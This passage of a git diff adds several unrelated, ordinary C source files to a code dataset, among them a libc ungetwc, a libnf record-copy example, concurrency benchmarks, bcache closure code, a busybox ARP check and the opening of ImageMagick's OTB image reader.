+	char buf[MB_LEN_MAX];
+	size_t len;
+
+	if (wc == WEOF)
+		return (WEOF);
+	if ((len = __wcrtomb(buf, wc, &fp->_mbstate)) == (size_t)-1) {
+		fp->_flags |= __SERR;
+		return (WEOF);
+	}
+	while (len-- != 0)
+		if (__ungetc((unsigned char)buf[len], fp) == EOF)
+			return (WEOF);
+
+	return (wc);
+}
+
+/*
+ * MT-safe version.
+ */
+wint_t
+ungetwc(wint_t wc, FILE *fp)
+{
+	wint_t r;
+
+	FLOCKFILE(fp);
+	ORIENT(fp, 1);
+	r = __ungetwc(wc, fp);
+	FUNLOCKFILE(fp);
+
+	return (r);
+}
diff --git a/pool/shard001/C/0025078_lnf_ex12_rec_raw.c b/pool/shard001/C/0025078_lnf_ex12_rec_raw.c
new file mode 100644
index 0000000000000000000000000000000000000000..a6d9d7538a15b176153caaeecd941ef0f1f76d34
--- /dev/null
+++ b/pool/shard001/C/0025078_lnf_ex12_rec_raw.c
@@ -0,0 +1,116 @@
+/* 
+
+ Copyright (c) 2013-2016, Tomas Podermanski
+    
+ This file is part of libnf.net project.
+
+ Libnf is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ Libnf is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with libnf.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+/* Simple reader of nfdump files.  To demostrate functionality */ 
+/* records are matched against two filters */
+
+#include <libnf.h>
+#include <arpa/inet.h>
+#include <sys/socket.h>
+#include <unistd.h>
+
+#define FILENAME_IN "./test-file.tmp"
+#define FILENAME_OUT "./test-file-out.tmp"
+
+#define LLUI long long unsigned int
+
+int main(int argc, char **argv) {
+
+	lnf_file_t *filep_in;
+	lnf_file_t *filep_out;
+	lnf_rec_t *recp_in;
+	lnf_rec_t *recp_out;
+	char buf[LNF_REC_RAW_TLV_BUFSIZE];
+	char errbuf[LNF_MAX_STRING];
+	size_t size;
+
+    char *filename_in = FILENAME_IN;
+    char *filename_out = FILENAME_OUT;
+	int i = 0;
+	int j = 0;
+	int c;
+	int ret;
+	
+
+	while ((c = getopt (argc, argv, "fF:?")) != -1) {
+		switch (c) {
+			case 'f':
+				filename_in = optarg;
+				break;
+			case 'F':
+				filename_out = optarg;
+				break;
+			case '?':
+				printf("Usage: %s [ -p ] [ -f <output file name> ] [ -F <output file name> ]\n", argv[0]);
+				exit(1);
+		}
+	}
+
+	
+	if (lnf_open(&filep_in, filename_in, LNF_READ, NULL) != LNF_OK) {
+		fprintf(stderr, "Can not open file %s\n", filename_in);
+		exit(1);
+	}
+
+	if (lnf_open(&filep_out, filename_out, LNF_WRITE, NULL) != LNF_OK) {
+		fprintf(stderr, "Can not open file %s\n", filename_out);
+		exit(1);
+	}
+
+	lnf_rec_init(&recp_in);
+	lnf_rec_init(&recp_out);
+
+	while (lnf_read(filep_in, recp_in) != LNF_EOF) {
+
+		i++;
+
+		if (lnf_rec_get_raw(recp_in, LNF_REC_RAW_TLV, buf, sizeof(buf), &size) == LNF_OK) {
+			printf("Raw record size: %zu bytes\n", size);
+
+			/* now, the data in buf cen be transfered somwhere else */
+
+			if ( (ret = lnf_rec_set_raw(recp_out, buf, size)) == LNF_OK) {
+				if ( lnf_write(filep_out, recp_out) == LNF_OK) {
+					j++;
+				}
+			} else {
+				  if (ret == LNF_ERR_OTHER_MSG) {
+					lnf_error((char *)&errbuf, LNF_MAX_STRING);
+					printf("ERROR: %s\n", errbuf);
+				} else {
+					printf("ERROR: other\n");
+				}
+			}
+		}
+
+	}
+
+	printf("Total records: %d, transfered records: %d\n", i, j);
+
+	lnf_rec_free(recp_in);
+	lnf_rec_free(recp_out);
+	lnf_close(filep_in);
+	lnf_close(filep_out);
+
+	return 0;
+}
+
+
diff --git a/pool/shard001/C/0025087_DETOUR0395.c b/pool/shard001/C/0025087_DETOUR0395.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb37d11cf04a0eefb87a4442c8d25dab292479a3
--- /dev/null
+++ b/pool/shard001/C/0025087_DETOUR0395.c
@@ -0,0 +1,71 @@
+/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
+ * This benchmark is part of SWSC */
+
+#include <assert.h>
+#include <stdint.h>
+#include <stdatomic.h>
+#include <pthread.h>
+
+atomic_int vars[2]; 
+atomic_int atom_0_r3_2; 
+atomic_int atom_0_r5_3; 
+atomic_int atom_1_r5_2; 
+atomic_int atom_1_r1_1; 
+
+void *t0(void *arg){
+label_1:;
+  atomic_store_explicit(&vars[0], 2, memory_order_seq_cst);
+  int v2_r3 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+  atomic_store_explicit(&vars[0], 3, memory_order_seq_cst);
+  int v4_r5 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+  int v5_r6 = v4_r5 ^ v4_r5;
+  atomic_store_explicit(&vars[1+v5_r6], 1, memory_order_seq_cst);
+  int v19 = (v2_r3 == 2);
+  atomic_store_explicit(&atom_0_r3_2, v19, memory_order_seq_cst);
+  int v20 = (v4_r5 == 3);
+  atomic_store_explicit(&atom_0_r5_3, v20, memory_order_seq_cst);
+  return NULL;
+}
+
+void *t1(void *arg){
+label_2:;
+  int v7_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
+  int v8_r3 = v7_r1 ^ v7_r1;
+  int v9_r3 = v8_r3 + 1;
+  atomic_store_explicit(&vars[0], v9_r3, memory_order_seq_cst);
+
+  int v11_r5 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+  int v21 = (v11_r5 == 2);
+  atomic_store_explicit(&atom_1_r5_2, v21, memory_order_seq_cst);
+  int v22 = (v7_r1 == 1);
+  atomic_store_explicit(&atom_1_r1_1, v22, memory_order_seq_cst);
+  return NULL;
+}
+
+int main(int argc, char *argv[]){
+  pthread_t thr0; 
+  pthread_t thr1; 
+
+  atomic_init(&vars[1], 0);
+  atomic_init(&vars[0], 0);
+  atomic_init(&atom_0_r3_2, 0);
+  atomic_init(&atom_0_r5_3, 0);
+  atomic_init(&atom_1_r5_2, 0);
+  atomic_init(&atom_1_r1_1, 0);
+
+  pthread_create(&thr0, NULL, t0, NULL);
+  pthread_create(&thr1, NULL, t1, NULL);
+
+  pthread_join(thr0, NULL);
+  pthread_join(thr1, NULL);
+
+  int v12 = atomic_load_explicit(&atom_0_r3_2, memory_order_seq_cst);
+  int v13 = atomic_load_explicit(&atom_0_r5_3, memory_order_seq_cst);
+  int v14 = atomic_load_explicit(&atom_1_r5_2, memory_order_seq_cst);
+  int v15 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
+  int v16_conj = v14 & v15;
+  int v17_conj = v13 & v16_conj;
+  int v18_conj = v12 & v17_conj;
+  if (v18_conj == 1) assert(0);
+  return 0;
+}
diff --git a/pool/shard001/C/0025091_py27.c b/pool/shard001/C/0025091_py27.c
new file mode 100644
index 0000000000000000000000000000000000000000..a2edbdd0b54302c5dd61f9d8a0b74e810bd2c5eb
--- /dev/null
+++ b/pool/shard001/C/0025091_py27.c
@@ -0,0 +1,107 @@
+#include <bearlang/common.h>
+#include <bearlang/types.h>
+#include <bearlang/ctx.h>
+#include <bearlang/utils.h>
+#include <bearlang/list_ops.h>
+#include <bearlang/sexp.h>
+#include <Python.h>
+
+static char* bl_module_name        = "py27";
+static char* bl_module_summary     = "Experimental python interop";
+static char* bl_module_description = "This module implements experimental support for python 2.7 and BearLang interop";
+
+
+
+bl_val_t* py_invoke_callable(bl_val_t* ctx, bl_val_t* params) {
+     void* custom_data  = params->custom_data;
+     PyObject* callable = (PyObject*)custom_data;
+
+     PyObject* args     = PyTuple_New(bl_list_len(params));
+
+     bl_val_t* L = params;
+     PyObject* v=NULL;
+     int i=0;
+     for(; L != NULL; L=L->cdr) {
+         switch(L->car->type) {
+            case BL_VAL_TYPE_NUMBER:
+		 v = PyInt_FromString(bl_ser_sexp(L->car), NULL,10);
+	    break;
+	    case BL_VAL_TYPE_STRING:
+	         v = PyString_FromString(L->car->s_val);
+	    break;
+	    default:
+                 v = PyString_FromString(bl_ser_sexp(L->car));
+	    break;
+         }
+	     PyTuple_SetItem(args,i,v);
+
+         i++;
+     }
+
+     PyObject* retval   = PyEval_CallObject(callable,args);
+     return bl_mk_null();
+}
+
+bl_val_t* py_get(bl_val_t* ctx, bl_val_t* sym) {
+     PyGILState_STATE gstate;
+     gstate = PyGILState_Ensure();
+
+   	PyObject* m = (PyObject*)ctx->custom_ctx_data;
+     char* sym_name  = sym->s_val;
+     PyObject* pyobj = PyObject_GetAttrString(m,sym_name);
+     if(pyobj==NULL) { 
+        PyErr_Print();
+PyGILState_Release(gstate);
+	return NULL;
+     }
+     if(PyString_Check(pyobj)) {
+        char* py_str = PyString_AsString(pyobj);
+PyGILState_Release(gstate);
+	return bl_mk_str(py_str);
+     } 
+     if(PyCallable_Check(pyobj)) {
+        bl_val_t* retval = bl_mk_native_oper(&py_invoke_callable);
+	retval->custom_data = (void*)pyobj;
+PyGILState_Release(gstate);
+	return retval;
+     }
+PyGILState_Release(gstate);
+     return bl_mk_ptr(pyobj);
+}
+
+bl_val_t* py_ctx(PyObject* m) {
+     bl_val_t* retval = bl_ctx_new(NULL);
+     retval->custom_ctx_data = (void*)m;
+     retval->ctx_get         = &py_get;
+     return retval;
+}
+
+bl_val_t* py_import(bl_val_t* ctx, bl_val_t* params) {
+     bl_val_t* first = bl_list_first(params);
+     char* py_name = first->s_val;
+     PyObject* mod = PyImport_Import(PyString_FromString(py_name));
+     if (!mod) {
+        PyErr_Print();
+     }
+     return py_ctx(mod);
+}
+
+bl_val_t* bl_mod_init(bl_val_t* ctx) {
+     Py_Initialize();
+     PyObject* sysPath = PySys_GetObject((char*)"path");
+
+     PyList_Append(sysPath, PyString_FromString("."));
+     bl_val_t* my_ctx       = bl_ctx_new(ctx);
+
+     bl_val_t* oper_py_import = bl_mk_native_oper(&py_import);
+     oper_py_import->docstr = bl_mk_docstr("(import module)\n"
+		                           "\t\tImports a python module and returns it, does not bind the module to a symbol");
+     bl_ctx_set(my_ctx, bl_mk_symbol("import"), oper_py_import);
+
+     
+     bl_ctx_set(my_ctx,bl_mk_symbol("*NAME*"),       bl_mk_str(bl_module_name));
+     bl_ctx_set(my_ctx,bl_mk_symbol("*SUMMARY*"),    bl_mk_str(bl_module_summary));
+     bl_ctx_set(my_ctx,bl_mk_symbol("*DESCRIPTION*"),bl_mk_str(bl_module_description));
+
+     return my_ctx;
+}
diff --git a/pool/shard001/C/0025097_closure.c b/pool/shard001/C/0025097_closure.c
new file mode 100644
index 0000000000000000000000000000000000000000..9c022d1975e47f8e1378082072ba49c55d017096
--- /dev/null
+++ b/pool/shard001/C/0025097_closure.c
@@ -0,0 +1,220 @@
+/*
+ * Asynchronous refcounty things
+ *
+ * Copyright 2010, 2011 Kent Overstreet <kent.overstreet@gmail.com>
+ * Copyright 2012 Google, Inc.
+ */
+
+#include <linux/debugfs.h>
+#include <linux/module.h>
+#include <linux/seq_file.h>
+
+#include "closure.h"
+
+static inline void closure_put_after_sub(struct closure *cl, int flags)
+{
+	int r = flags & CLOSURE_REMAINING_MASK;
+
+	BUG_ON(flags & CLOSURE_GUARD_MASK);
+	BUG_ON(!r && (flags & ~CLOSURE_DESTRUCTOR));
+
+	/* Must deliver precisely one wakeup */
+	if (r == 1 && (flags & CLOSURE_SLEEPING))
+		wake_up_process(cl->task);
+
+	if (!r) {
+		if (cl->fn && !(flags & CLOSURE_DESTRUCTOR)) {
+			atomic_set(&cl->remaining,
+				   CLOSURE_REMAINING_INITIALIZER);
+			closure_queue(cl);
+		} else {
+			struct closure *parent = cl->parent;
+			work_func_t destructor = cl->fn;
+
+			closure_debug_destroy(cl);
+
+			if (destructor)
+				destructor(&cl->work);
+
+			if (parent)
+				closure_put(parent);
+		}
+	}
+}
+
+/* For clearing flags with the same atomic op as a put */
+void closure_sub(struct closure *cl, int v)
+{
+	closure_put_after_sub(cl, atomic_sub_return(v, &cl->remaining));
+}
+EXPORT_SYMBOL(closure_sub);
+
+/**
+ * closure_put - decrement a closure's refcount
+ */
+void closure_put(struct closure *cl)
+{
+	closure_put_after_sub(cl, atomic_dec_return(&cl->remaining));
+}
+EXPORT_SYMBOL(closure_put);
+
+/**
+ * closure_wake_up - wake up all closures on a wait list, without memory barrier
+ */
+void __closure_wake_up(struct closure_waitlist *wait_list)
+{
+	struct llist_node *list;
+	struct closure *cl;
+	struct llist_node *reverse = NULL;
+
+	list = llist_del_all(&wait_list->list);
+
+	/* We first reverse the list to preserve FIFO ordering and fairness */
+
+	while (list) {
+		struct llist_node *t = list;
+		list = llist_next(list);
+
+		t->next = reverse;
+		reverse = t;
+	}
+
+	/* Then do the wakeups */
+
+	while (reverse) {
+		cl = container_of(reverse, struct closure, list);
+		reverse = llist_next(reverse);
+
+		closure_set_waiting(cl, 0);
+		closure_sub(cl, CLOSURE_WAITING + 1);
+	}
+}
+EXPORT_SYMBOL(__closure_wake_up);
+
+/**
+ * closure_wait - add a closure to a waitlist
+ *
+ * @waitlist will own a ref on @cl, which will be released when
+ * closure_wake_up() is called on @waitlist.
+ *
+ */
+bool closure_wait(struct closure_waitlist *waitlist, struct closure *cl)
+{
+	if (atomic_read(&cl->remaining) & CLOSURE_WAITING)
+		return false;
+
+	closure_set_waiting(cl, _RET_IP_);
+	atomic_add(CLOSURE_WAITING + 1, &cl->remaining);
+	llist_add(&cl->list, &waitlist->list);
+
+	return true;
+}
+EXPORT_SYMBOL(closure_wait);
+
+/**
+ * closure_sync - sleep until a closure has nothing left to wait on
+ *
+ * Sleeps until the refcount hits 1 - the thread that's running the closure owns
+ * the last refcount.
+ */
+void closure_sync(struct closure *cl)
+{
+	while (1) {
+		__closure_start_sleep(cl);
+		closure_set_ret_ip(cl);
+
+		if ((atomic_read(&cl->remaining) &
+		     CLOSURE_REMAINING_MASK) == 1)
+			break;
+
+		schedule();
+	}
+
+	__closure_end_sleep(cl);
+}
+EXPORT_SYMBOL(closure_sync);
+
+#ifdef CONFIG_BCACHE_CLOSURES_DEBUG
+
+static LIST_HEAD(closure_list);
+static DEFINE_SPINLOCK(closure_list_lock);
+
+void closure_debug_create(struct closure *cl)
+{
+	unsigned long flags;
+
+	BUG_ON(cl->magic == CLOSURE_MAGIC_ALIVE);
+	cl->magic = CLOSURE_MAGIC_ALIVE;
+
+	spin_lock_irqsave(&closure_list_lock, flags);
+	list_add(&cl->all, &closure_list);
+	spin_unlock_irqrestore(&closure_list_lock, flags);
+}
+EXPORT_SYMBOL(closure_debug_create);
+
+void closure_debug_destroy(struct closure *cl)
+{
+	unsigned long flags;
+
+	BUG_ON(cl->magic != CLOSURE_MAGIC_ALIVE);
+	cl->magic = CLOSURE_MAGIC_DEAD;
+
+	spin_lock_irqsave(&closure_list_lock, flags);
+	list_del(&cl->all);
+	spin_unlock_irqrestore(&closure_list_lock, flags);
+}
+EXPORT_SYMBOL(closure_debug_destroy);
+
+static struct dentry *debug;
+
+static int debug_seq_show(struct seq_file *f, void *data)
+{
+	struct closure *cl;
+	spin_lock_irq(&closure_list_lock);
+
+	list_for_each_entry(cl, &closure_list, all) {
+		int r = atomic_read(&cl->remaining);
+
+		seq_printf(f, "%p: %pF -> %pf p %p r %i ",
+			   cl, (void *) cl->ip, cl->fn, cl->parent,
+			   r & CLOSURE_REMAINING_MASK);
+
+		seq_printf(f, "%s%s%s%s\n",
+			   test_bit(WORK_STRUCT_PENDING_BIT,
+				    work_data_bits(&cl->work)) ? "Q" : "",
+			   r & CLOSURE_RUNNING	? "R" : "",
+			   r & CLOSURE_STACK	? "S" : "",
+			   r & CLOSURE_SLEEPING	? "Sl" : "");
+
+		if (r & CLOSURE_WAITING)
+			seq_printf(f, " W %pF\n",
+				   (void *) cl->waiting_on);
+
+		seq_printf(f, "\n");
+	}
+
+	spin_unlock_irq(&closure_list_lock);
+	return 0;
+}
+
+static int debug_seq_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, debug_seq_show, NULL);
+}
+
+static const struct file_operations debug_ops = {
+	.owner		= THIS_MODULE,
+	.open		= debug_seq_open,
+	.read		= seq_read,
+	.release	= single_release
+};
+
+void __init closure_debug_init(void)
+{
+	debug = debugfs_create_file("closures", 0400, NULL, NULL, &debug_ops);
+}
+
+#endif
+
+MODULE_AUTHOR("Kent Overstreet <koverstreet@google.com>");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0025101_muse.c b/pool/shard001/C/0025101_muse.c
new file mode 100644
index 0000000000000000000000000000000000000000..a1dcacbfbb565c483563c261742c63a7ad959d88
--- /dev/null
+++ b/pool/shard001/C/0025101_muse.c
@@ -0,0 +1,117 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdarg.h>
+#include <inttypes.h>
+#include <ctype.h>
+#include <string.h>
+#include <assert.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+#include "util.h"
+#include "parse.h"
+
+#include "../config.h"
+
+/* FIXME: move into one place...? */
+File file;
+char *outfile;
+char *objdir;
+char *pkgname;
+int show;
+char debugopt[128];
+char **incpaths;
+size_t nincpaths;
+char **extralibs;
+size_t nextralibs;
+char *localincpath;
+
+static void
+usage(char *prog)
+{
+	printf("%s [-hIdos] [-o outfile] [-p pkgname] [-m] inputs\n", prog);
+	printf("\t-h\tprint this help\n");
+	printf("\t\tThe outfile must be the same name as each package merged.\n");
+	printf("\t-d\tPrint debug dumps\n");
+	printf("\t-o out\tOutput to outfile\n");
+	printf("\t-s\tShow the contents of usefiles `inputs`\n");
+}
+
+static void
+mergeuse(char *path)
+{
+	FILE *f;
+	Stab *st;
+
+	st = file.globls;
+	f = fopen(path, "r");
+	if (!f) {
+		fprintf(stderr, "couldn't open %s\n", path);
+		exit(1);
+	}
+	loaduse(path, f, st, Visexport);
+	fclose(f);
+}
+
+int
+main(int argc, char **argv)
+{
+	Optctx ctx;
+	size_t i;
+	FILE *f;
+
+	localincpath = ".";
+	optinit(&ctx, "sd:hmo:p:l:", argv, argc);
+	while (!optdone(&ctx)) {
+		switch (optnext(&ctx)) {
+		case 'h':
+			usage(argv[0]);
+			exit(0);
+			break;
+		case 'p':
+			pkgname = ctx.optarg;
+			break;
+		case 'o':
+			outfile = ctx.optarg;
+			break;
+		case 'd':
+			while (ctx.optarg && *ctx.optarg)
+				debugopt[*ctx.optarg++ & 0x7f] = 1;
+			break;
+		case 'l':
+			lappend(&extralibs, &nextralibs, ctx.optarg);
+			break;
+		default:
+			usage(argv[0]);
+			exit(0);
+			break;
+		}
+	}
+
+	if (!outfile && !show) {
+		fprintf(stderr, "output file needed when merging usefiles.\n");
+		exit(1);
+	}
+	if (!pkgname) {
+		fprintf(stderr, "package needed when merging usefiles.\n");
+		exit(1);
+	}
+
+	/* read and parse the file */
+	initfile(&file, outfile);
+	updatens(file.globls, pkgname);
+	for (i = 0; i < ctx.nargs; i++)
+		mergeuse(ctx.args[i]);
+	loaduses();
+	infer();
+	tagexports(1);
+	addextlibs(extralibs, nextralibs);
+
+	/* generate the usefile */
+	f = fopen(outfile, "w");
+	writeuse(f);
+	fclose(f);
+	return 0;
+}
diff --git a/pool/shard001/C/0025102_lastwrite.c b/pool/shard001/C/0025102_lastwrite.c
new file mode 100644
index 0000000000000000000000000000000000000000..66e84198087039dcdfa0a334d86d60c6faeed62f
--- /dev/null
+++ b/pool/shard001/C/0025102_lastwrite.c
@@ -0,0 +1,29 @@
+#include <stdint.h>
+#include <stdatomic.h>
+#include <pthread.h>
+
+#ifndef N
+#  warning "N was not defined, assuming N=3"
+#  define N 3
+#endif
+
+atomic_int var;
+
+void *writer(void *arg) {
+  atomic_store(&var, (int)(intptr_t)arg);
+  return NULL;
+}
+
+int main(int argc, char *argv[]) {
+  pthread_t t[N];
+
+  for (int i = 0; i < N; i++) {
+    pthread_create(&t[i], NULL, writer, (void*)(intptr_t)(i+1));
+  }
+
+  for (int i = 0; i < N; i++) {
+    pthread_join(t[i], NULL);
+  }
+
+  return atomic_load(&var);
+}
diff --git a/pool/shard001/C/0025113_arpping.c b/pool/shard001/C/0025113_arpping.c
new file mode 100644
index 0000000000000000000000000000000000000000..b43e52e964e0b48c3031b41e9c820b9da2d21969
--- /dev/null
+++ b/pool/shard001/C/0025113_arpping.c
@@ -0,0 +1,133 @@
+/* vi: set sw=4 ts=4: */
+/*
+ * Mostly stolen from: dhcpcd - DHCP client daemon
+ * by Yoichi Hariguchi <yoichi@fore.com>
+ *
+ * Licensed under GPLv2, see file LICENSE in this source tree.
+ */
+#include <netinet/if_ether.h>
+#include <net/if_arp.h>
+
+#include "common.h"
+#include "dhcpd.h"
+
+struct arpMsg {
+	/* Ethernet header */
+	uint8_t  h_dest[6];     /* 00 destination ether addr */
+	uint8_t  h_source[6];   /* 06 source ether addr */
+	uint16_t h_proto;       /* 0c packet type ID field */
+
+	/* ARP packet */
+	uint16_t htype;         /* 0e hardware type (must be ARPHRD_ETHER) */
+	uint16_t ptype;         /* 10 protocol type (must be ETH_P_IP) */
+	uint8_t  hlen;          /* 12 hardware address length (must be 6) */
+	uint8_t  plen;          /* 13 protocol address length (must be 4) */
+	uint16_t operation;     /* 14 ARP opcode */
+	uint8_t  sHaddr[6];     /* 16 sender's hardware address */
+	uint8_t  sInaddr[4];    /* 1c sender's IP address */
+	uint8_t  tHaddr[6];     /* 20 target's hardware address */
+	uint8_t  tInaddr[4];    /* 26 target's IP address */
+	uint8_t  pad[18];       /* 2a pad for min. ethernet payload (60 bytes) */
+} PACKED;
+
+enum {
+	ARP_MSG_SIZE = 0x2a
+};
+
+/* Returns 1 if no reply received */
+int FAST_FUNC arpping(uint32_t test_nip,
+		const uint8_t *safe_mac,
+		uint32_t from_ip,
+		uint8_t *from_mac,
+		const char *interface)
+{
+	int timeout_ms;
+	struct pollfd pfd[1];
+#define s (pfd[0].fd)           /* socket */
+	int rv = 1;             /* "no reply received" yet */
+	struct sockaddr addr;   /* for interface name */
+	struct arpMsg arp;
+
+	s = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
+	if (s == -1) {
+		bb_perror_msg(bb_msg_can_not_create_raw_socket);
+		return -1;
+	}
+
+	if (setsockopt_broadcast(s) == -1) {
+		bb_perror_msg("can't enable bcast on raw socket");
+		goto ret;
+	}
+
+	/* send arp request */
+	memset(&arp, 0, sizeof(arp));
+	memset(arp.h_dest, 0xff, 6);                    /* MAC DA */
+	memcpy(arp.h_source, from_mac, 6);              /* MAC SA */
+	arp.h_proto = htons(ETH_P_ARP);                 /* protocol type (Ethernet) */
+	arp.htype = htons(ARPHRD_ETHER);                /* hardware type */
+	arp.ptype = htons(ETH_P_IP);                    /* protocol type (ARP message) */
+	arp.hlen = 6;                                   /* hardware address length */
+	arp.plen = 4;                                   /* protocol address length */
+	arp.operation = htons(ARPOP_REQUEST);           /* ARP op code */
+	memcpy(arp.sHaddr, from_mac, 6);                /* source hardware address */
+	memcpy(arp.sInaddr, &from_ip, sizeof(from_ip)); /* source IP address */
+	/* tHaddr is zero-filled */                     /* target hardware address */
+	memcpy(arp.tInaddr, &test_nip, sizeof(test_nip));/* target IP address */
+
+	memset(&addr, 0, sizeof(addr));
+	safe_strncpy(addr.sa_data, interface, sizeof(addr.sa_data));
+	if (sendto(s, &arp, sizeof(arp), 0, &addr, sizeof(addr)) < 0) {
+		// TODO: error message? caller didn't expect us to fail,
+		// just returning 1 "no reply received" misleads it.
+		goto ret;
+	}
+
+	/* wait for arp reply, and check it */
+	timeout_ms = 2000;
+	do {
+		typedef uint32_t aliased_uint32_t FIX_ALIASING;
+		int r;
+		unsigned prevTime = monotonic_ms();
+
+		pfd[0].events = POLLIN;
+		r = safe_poll(pfd, 1, timeout_ms);
+		if (r < 0)
+			break;
+		if (r) {
+			r = safe_read(s, &arp, sizeof(arp));
+			if (r < 0)
+				break;
+
+			//log3("sHaddr %02x:%02x:%02x:%02x:%02x:%02x",
+			//	arp.sHaddr[0], arp.sHaddr[1], arp.sHaddr[2],
+			//	arp.sHaddr[3], arp.sHaddr[4], arp.sHaddr[5]);
+
+			if (r >= ARP_MSG_SIZE
+			 && arp.operation == htons(ARPOP_REPLY)
+			 /* don't check it: Linux doesn't return proper tHaddr (fixed in 2.6.24?) */
+			 /* && memcmp(arp.tHaddr, from_mac, 6) == 0 */
+			 && *(aliased_uint32_t*)arp.sInaddr == test_nip
+			) {
+				/* if ARP source MAC matches safe_mac
+				 * (which is client's MAC), then it's not a conflict
+				 * (client simply already has this IP and replies to ARPs!)
+				 */
+				if (!safe_mac || memcmp(safe_mac, arp.sHaddr, 6) != 0)
+					rv = 0;
+				//else log2("sHaddr == safe_mac");
+				break;
+			}
+		}
+		timeout_ms -= (unsigned)monotonic_ms() - prevTime + 1;
+
+		/* We used to check "timeout_ms > 0", but
+		 * this is more under/overflow-resistant
+		 * (people did see overflows here when system time jumps):
+		 */
+	} while ((unsigned)timeout_ms <= 2000);
+
+ ret:
+	close(s);
+	log1("%srp reply received for this address", rv ? "No a" : "A");
+	return rv;
+}
diff --git a/pool/shard001/C/0025115_otb.c b/pool/shard001/C/0025115_otb.c
new file mode 100644
index 0000000000000000000000000000000000000000..15e23214db794b09bdda4bf6d2900988db802395
--- /dev/null
+++ b/pool/shard001/C/0025115_otb.c
@@ -0,0 +1,387 @@
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%                              OOO   TTTTT  BBBB                              %
+%                             O   O    T    B   B                             %
+%                             O   O    T    BBBB                              %
+%                             O   O    T    B   B                             %
+%                              OOO     T    BBBB                              %
+%                                                                             %
+%                                                                             %
+%                      Read/Write On-The-Air Image Format                     %
+%                                                                             %
+%                              Software Design                                %
+%                                John Cristy                                  %
+%                               January 2000                                  %
+%                                                                             %
+%                                                                             %
+%  Copyright 1999-2011 ImageMagick Studio LLC, a non-profit organization      %
+%  dedicated to making software imaging solutions freely available.           %
+%                                                                             %
+%  You may not use this file except in compliance with the License.  You may  %
+%  obtain a copy of the License at                                            %
+%                                                                             %
+%    http://www.imagemagick.org/script/license.php                            %
+%                                                                             %
+%  Unless required by applicable law or agreed to in writing, software        %
+%  distributed under the License is distributed on an "AS IS" BASIS,          %
+%  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   %
+%  See the License for the specific language governing permissions and        %
+%  limitations under the License.                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%
+*/
+/*
+  Include declarations.
+*/
+#include "magick/studio.h"
+#include "magick/blob.h"
+#include "magick/blob-private.h"
+#include "magick/cache.h"
+#include "magick/color-private.h"
+#include "magick/colormap.h"
+#include "magick/colorspace.h"
+#include "magick/colorspace-private.h"
+#include "magick/exception.h"
+#include "magick/exception-private.h"
+#include "magick/image.h"
+#include "magick/image-private.h"
+#include "magick/list.h"
+#include "magick/magick.h"
+#include "magick/memory_.h"
+#include "magick/monitor.h"
+#include "magick/monitor-private.h"
+#include "magick/quantum-private.h"
+#include "magick/static.h"
+#include "magick/string_.h"
+#include "magick/module.h"
+
+/*
+  Forward declarations.
+*/
+static MagickBooleanType
+  WriteOTBImage(const ImageInfo *,Image *);
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   R e a d O T B I m a g e                                                   %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  ReadOTBImage() reads a on-the-air (level 0) bitmap and returns it.  It
+%  allocates the memory necessary for the new Image structure and returns a
+%  pointer to the new image.
+%
+%  The format of the ReadOTBImage method is:
+%
+%      Image *ReadOTBImage(const ImageInfo *image_info,ExceptionInfo *exception)
+%
+%  A description of each parameter follows:
+%
+%    o image_info: the image info.
+%
+%    o exception: return any errors or warnings in this structure.
+%
+%
+*/
+static Image *ReadOTBImage(const ImageInfo *image_info,ExceptionInfo *exception)
+{
+#define GetBit(a,i) (((a) >> (i)) & 1L)
+
+  Image
+    *image;
+
+  int
+    byte;
+
+  MagickBooleanType
+    status;
+
+  register IndexPacket
+    *indexes;
+
+  register ssize_t
+    x;
+
+  register PixelPacket
+    *q;
+
+  ssize_t
+    y;
+
+  unsigned char
+    bit,
+    info,
+    depth;
+
+  /*
+    Open image file.
+  */
+  assert(image_info != (const ImageInfo *) NULL);
+  assert(image_info->signature == MagickSignature);
+  if (image_info->debug != MagickFalse)
+    (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
+      image_info->filename);
+  assert(exception != (ExceptionInfo *) NULL);
+  assert(exception->signature == MagickSignature);
+  image=AcquireImage(image_info);
+  status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
+  if (status == MagickFalse)
+    {
+      image=DestroyImageList(image);
+      return((Image *) NULL);
+    }
+  /*
+    Initialize image structure.
+  */
+  info=(unsigned char) ReadBlobByte(image);
+  if (GetBit(info,4) == 0)
+    {
+      image->columns=(size_t) ReadBlobByte(image);
+      image->rows=(size_t) ReadBlobByte(image);
+    }
